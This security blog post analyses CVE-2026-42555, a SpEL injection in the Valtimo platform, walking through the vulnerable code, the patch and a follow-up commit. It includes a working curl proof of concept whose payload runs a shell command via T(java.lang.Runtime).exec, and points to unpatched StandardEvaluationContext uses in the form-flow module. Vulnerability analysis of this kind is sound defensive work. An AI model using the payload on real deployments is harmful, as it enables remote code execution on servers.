//nefariousplan

CVE-2026-42555: Standard Is the Name Spring Gave the Unsafe Context

vendor

patterns

cve

proof of concept

Spring ships two evaluation contexts for SpEL. StandardEvaluationContext reaches java.lang.Runtime. SimpleEvaluationContext does not. Three classes in Ritense BV's Valtimo case-management platform picked the one whose name reads like a default. CVE-2026-42555 names the choice. The fix held for fifty-nine minutes before a second commit had to walk it back.

The advisory was published May 1, 2026 against com.ritense.valtimo:case (≥ 13.0.0, < 13.23.0), com.ritense.valtimo:contract (≥ 13.4.0, < 13.23.0), and com.ritense.valtimo:document (≥ 12.0.0, < 12.32.0). CVSS 9.1, CWE-94, EPSS 0.232%, not on the CISA Known Exploited Vulnerabilities catalog. The patch commit is fe2d5c282 in the valtimo-platform/valtimo monorepo, authored by Maxim Buur on April 3, 2026.

The admin in this CVE is a workflow designer, not a sysadmin

Valtimo is the less-code business-process automation platform sold by Ritense BV out of Den Bosch, Netherlands. The platform's pitch to customers is that business analysts wire up case-management workflows, document migrations, and authorization rules without writing Kotlin. The tier of user that does that wiring carries an ADMIN authority in Spring Security. The same word that names a Linux superuser names, here, the workflow designer.

The two REST endpoints called out in the advisory are gated by exactly that admin authority:

// backend/case/src/main/kotlin/com/ritense/document/security/DocumentMigrationHttpSecurityConfigurer.kt
.antMatcher(POST, "/api/management/v1/document-definition/migration/conflicts").hasAuthority(ADMIN)
.antMatcher(POST, "/api/management/v1/document-definition/migrate").hasAuthority(ADMIN)

A workflow designer was supposed to send a DocumentMigrationRequest describing how a case schema's fields map from one version to the next. Each DocumentMigrationPatch in the request takes either a JSON Pointer (/customerName) or a SpEL expression (${source.firstName + ' ' + source.lastName}):

// backend/case/src/main/kotlin/com/ritense/document/domain/DocumentMigrationPatch.kt
data class DocumentMigrationPatch(
    val source: String,
    val target: String?,
    val error: String? = null
) {
    fun sourceIsJsonPointer(): Boolean = source.startsWith('/')
    fun sourceIsSpelExpression(): Boolean = source.startsWith('$')
    ...
}

The PoC arrives in the second branch. The CVSS for this CVE is 9.1 with PR:H, where the "H" reads, to a defender allocating remediation budget, like "root." In Valtimo it means "tenant admin." The CVE record uses the same word for the user that designs workflows and the user that owns the JVM. Read literally, the two were equivalent. The patch is the work of separating them.

The endpoint runs whatever expression you put in the request body

Here is the pre-patch evaluation, from DocumentMigrationService.kt at the commit before fe2d5c282:

fun handleSpelExpression(expression: String, contextMap: Map<String, Any?>): Any? {
    val parserContext = TemplateParserContext("\${", "}")

    val jsonPropertyAccessor = JsonPropertyAccessor()
    jsonPropertyAccessor.setObjectMapper(objectMapper)
    val evaluationContext = StandardEvaluationContext()
    evaluationContext.addPropertyAccessor(MapAccessor())
    evaluationContext.addPropertyAccessor(jsonPropertyAccessor)

    return SpelExpressionParser()
        .parseExpression(expression, parserContext)
        .getValue(evaluationContext, contextMap, Any::class.java)
}

That is the entire sink. The expression parameter is the target (or source) field of a DocumentMigrationPatch deserialized from the request body. The contextMap is built one frame up:

fun getSpelContextMap(...): MutableMap<String, Any?> {
    val contextMap: MutableMap<String, Any?> = applicationContext.getBeansWithAnnotation(PublicBean::class.java)
    contextMap["source"] = source
    contextMap["target"] = target
    contextMap["builder"] = builder
    contextMap["patch"] = patch
    contextMap["sourceValue"] = sourceValue?.value
    return contextMap
}

Every Spring bean annotated @PublicBean is exposed as a name the expression can reach. None of that matters once StandardEvaluationContext() is the evaluator, because StandardEvaluationContext admits the type literal T(...). Any class on the JVM classpath becomes the root of an expression. The full chain:

curl -X POST https://valtimo.example.com/api/management/v1/document-definition/migrate \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <admin-jwt>' \
  -d '{
    "documentDefinitionNameSource": "old-schema",
    "documentDefinitionNameTarget": "new-schema",
    "patches": [{
      "source": "/customerName",
      "target": "${T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"id>/tmp/pwned\"})}"
    }]
  }'

The request returns 200. The host has a new file at /tmp/pwned owned by the Valtimo JVM user.

The second sink is Condition, in backend/contract. Every admin-configured condition runs through resolveValue, which builds a StandardEvaluationContext over a ConditionSpelEvaluationContext root and evaluates the admin's string:

// pre-patch, backend/contract/src/main/kotlin/com/ritense/valtimo/contract/conditions/Condition.kt
private fun resolveValue(value: T): Any? {
    return (value as? String)?.let {
        if (it.isNotEmpty() && it.startsWith("\${") && it.endsWith('}')) {
            val parser = SpelExpressionParser()
            val expressionWithoutPrefixSuffix = it.substringAfter("\${").substringBefore("}")

            val expressionContextRoot = getExpressionContextRoot()
            val context = StandardEvaluationContext()

            context.setRootObject(expressionContextRoot)

            val spelExpression = parser.parseExpression(expressionWithoutPrefixSuffix)
            return spelExpression.getValue(context)
        } else {
            value
        }
    } ?: value
}

The intended surface for that root, in its entirety, is six properties:

// backend/contract/src/main/kotlin/com/ritense/valtimo/contract/conditions/ConditionSpelEvaluationContext.kt
class ConditionSpelEvaluationContext {
    val localDateTimeNow = LocalDateTime.now()
    val currentUserId = CurrentUserExpressionHandler.currentUser().id
    val currentUserEmail = CurrentUserExpressionHandler.currentUser().email
    val currentUserRoles = CurrentUserExpressionHandler.currentUser().roles
    val currentUsername = CurrentUserExpressionHandler.currentUser().username
    val currentUserIdentifier = CurrentUserExpressionHandler.currentUser().username
}

Six properties. That is the entire surface a condition was designed to address. Under StandardEvaluationContext those six properties sit on the same dispatch table as every class on the classpath, addressable through T(...).

Standard means unrestricted. Simple means safe. The names are upside down.

Spring's documentation describes StandardEvaluationContext as "a powerful and configurable evaluation context" and SimpleEvaluationContext as "intended to support only a subset of the SpEL language syntax." Read those two phrases in a code-review afternoon and you have a developer who reaches for the powerful one. The naming is the lure. StandardEvaluationContext reads as the default; SimpleEvaluationContext reads as the toy. The security boundary is the opposite of what the names suggest.

Valtimo's developer encountered the choice three times in this codebase, in three different modules, written months apart, and made it the same way every time. The release note for 13.23.0 names the substrate by name:

Fixed SpEL injection vulnerability. DocumentMigrationService and Condition evaluated user-supplied SpEL expressions using StandardEvaluationContext, which grants unrestricted access to Java types and methods. An authenticated admin could exploit this to execute arbitrary OS commands, exfiltrate environment variables, or load arbitrary classes. Both classes now use SimpleEvaluationContext, which only allows property access and blocks type references, method invocation, and constructors.

"Both classes." The release note explicitly names two, fixes two, ships.

The first patch broke plusMinutes. The second patch admitted why.

The fix landed on April 3, 2026, in commit fe2d5c282 at 09:49:00 +0200:

-import org.springframework.expression.spel.support.StandardEvaluationContext
+import org.springframework.expression.spel.support.SimpleEvaluationContext
 ...
-                val context = StandardEvaluationContext()
-
-                context.setRootObject(expressionContextRoot)
+                val context = SimpleEvaluationContext
+                    .forReadOnlyDataBinding()
+                    .withRootObject(expressionContextRoot)
+                    .build()

forReadOnlyDataBinding() is the strictest factory SimpleEvaluationContext exposes. It permits property access on the root object and nothing else: no type references, no method invocation, no constructors. The commit shipped with four tests that pin the strictness:

@Test
fun `should block SpEL type reference for Runtime exec`() {
    val condition = Condition(
        path = "/xyz",
        operator = ExpressionOperator.EQUAL_TO,
        value = "\${T(java.lang.Runtime).getRuntime().exec('id')}" as Comparable<Any>
    )

    assertThrows<SpelEvaluationException> {
        condition.isValid { "some-value" }
    }
}

Four tests, four blocked primitives: Runtime.exec, System.getenv, Class.forName, System.getProperties. The next commit on the same file is fifty-nine minutes later, by the same author, on the same branch:

fe2d5c282  2026-04-03 09:49:00 +0200  fix spel expression security vulnerability
f9d56f079  2026-04-03 10:48:53 +0200  allow method invocation on already accesible objects

f9d56f079 adds a method resolver back into the context:

+import org.springframework.expression.spel.support.DataBindingMethodResolver
 import org.springframework.expression.spel.support.SimpleEvaluationContext
 ...
 val context = SimpleEvaluationContext
     .forReadOnlyDataBinding()
+    .withMethodResolvers(DataBindingMethodResolver.forInstanceMethodInvocation())
     .withRootObject(expressionContextRoot)
     .build()

The same commit ships the test that explains why:

@Test
fun `should allow instance method calls like plusMinutes on LocalDateTime`() {
    val condition = Condition(
        path = "/xyz",
        operator = ExpressionOperator.LESS_THAN,
        value = "\${localDateTimeNow.plusMinutes(1)}" as Comparable<Any>
    )

    val result = condition.isValid { LocalDateTime.now() }
    assertThat(result).isTrue()
}

The first patch was strict enough to block Runtime.exec. It was also strict enough to break every Valtimo deployment whose admins had written ${localDateTimeNow.plusMinutes(1)} into a condition. Production noticed inside an hour. The second patch admits, in writing, that the actual threat model is not "no methods." It is "no escapes." DataBindingMethodResolver.forInstanceMethodInvocation() permits calling methods on objects already accessible in the context, and not the rest. The space between "powerful" and "limited" had to be reconstructed by the consumer because Spring's API does not ship a middle.

Spring's SpEL has been here many times

This is the design-debt-driver substrate, and underneath it the unpatchable-primitive that Spring cannot retire. StandardEvaluationContext plus SpelExpressionParser is a capability the framework ships because legitimate consumers, application-internal expressions evaluating server-controlled strings, depend on T(...) and method invocation. The class cannot be removed. Every consumer that imports it and feeds it caller-supplied data recreates the bug class. CVE-2026-42555 is its next instance. CVE-2017-8046 wired JSON Patch path strings into a SpelExpressionParser and required three commits across two months to remove the PathToSpEL class that produced it. CVE-2022-22963 reached T(java.lang.Runtime) through Spring Cloud Function's routing-function expression header. CVE-2022-22947 reached it through Spring Cloud Gateway's route-configuration filters[0] field. CVE-2022-22965, known publicly as Spring4Shell, reached it through getClass() traversal in WebDataBinder under the same context class. Four CVEs, four products, one substrate. Each patch closed its consumer. The next CVE was the next product whose developer found the same two-name API and made the same choice.

The Valtimo monorepo, at the commit that ships the 13.23.0 fix, contains two more constructions of StandardEvaluationContext() in backend/form-flow/src/main/kotlin/com/ritense/formflow/expression/spel/:

// SpelExpressionProcessor.kt:32
private val evaluationContext: EvaluationContext = StandardEvaluationContext(),

// SpelExpressionProcessorFactory.kt:27
val context = StandardEvaluationContext()
context.addPropertyAccessor(MapAccessor())
context.addPropertyAccessor(WritableJsonPropertyAccessor())

The CVE record names two affected modules. The patch fixes two. The release note names two. Whether the third module's formFlowBeans reach the same admin role through a form-flow definition that an admin configures is the kind of question a CVE-by-CVE patch cadence does not answer, and the answer the patch did not give is what determines whether 13.23.0 is the last instance in this family or the second-to-last.

PoC: GHSA-j7j9-5253-f7vh

The patch closes this CVE. The next Spring developer reading the docs this afternoon will see the words "powerful" and "limited" and reach for the powerful one.